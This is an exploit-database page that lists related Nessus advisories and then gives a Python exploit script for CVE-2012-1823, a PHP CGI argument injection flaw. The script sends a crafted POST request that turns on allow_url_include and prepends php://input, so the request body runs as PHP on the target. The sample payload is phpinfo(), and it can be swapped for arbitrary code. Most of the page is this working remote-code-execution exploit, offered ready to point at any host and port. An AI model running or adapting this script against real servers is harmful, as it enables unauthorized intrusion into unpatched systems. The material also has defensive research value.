PHP CGI Argument Injection Exploit - May 4, 201
Reporter | Title | Published | Views | Family All 199 |
---|---|---|---|---|
![]() | FreeBSD : php -- vulnerability in certain CGI-based setups (60de13d5-95f0-11e1-806a-001143cd36d8) | 7 May 201200:00 | β | nessus |
![]() | RHEL 5 / 6 : php (RHSA-2012:0568) | 24 Jan 201300:00 | β | nessus |
![]() | RHEL 5 : php53 (RHSA-2012:0547) | 8 May 201200:00 | β | nessus |
![]() | Oracle Linux 5 / 6 : php (ELSA-2012-0546) | 12 Jul 201300:00 | β | nessus |
![]() | Oracle Linux 5 : php53 (ELSA-2012-0547) | 12 Jul 201300:00 | β | nessus |
![]() | PHP 5.3.x < 5.3.13 CGI Query String Code Execution | 5 Jun 201200:00 | β | nessus |
![]() | PHP 5.3.x < 5.3.13 CGI Query String Code Execution | 5 Jun 201200:00 | β | nessus |
![]() | RHEL 5 : php53 (RHSA-2012:0569) | 24 Jan 201300:00 | β | nessus |
![]() | Scientific Linux Security Update : php53 on SL5.x i386/x86_64 (20120507) | 1 Aug 201200:00 | β | nessus |
![]() | Amazon Linux AMI : php (ALAS-2012-77) | 4 Sep 201300:00 | β | nessus |
######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################
import socket
import sys
def cgi_exploit():
pwn_code = """<?php phpinfo();?>"""
post_Length = len(pwn_code)
http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s
""" %(HOST , post_Length ,pwn_code)
print http_raw
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, int(PORT)))
sock.send(http_raw)
data = sock.recv(10000)
print repr(data)
sock.close()
except socket.error, msg:
sys.stderr.write("[ERROR] %s\n" % msg[1])
sys.exit(1)
if __name__ == '__main__':
try:
HOST = sys.argv[1]
PORT = sys.argv[2]
cgi_exploit()
except IndexError:
print '[+]Usage: cgi_test.py site.com 80'
sys.exit(-1)
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. ContactΒ us for a demo andΒ discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo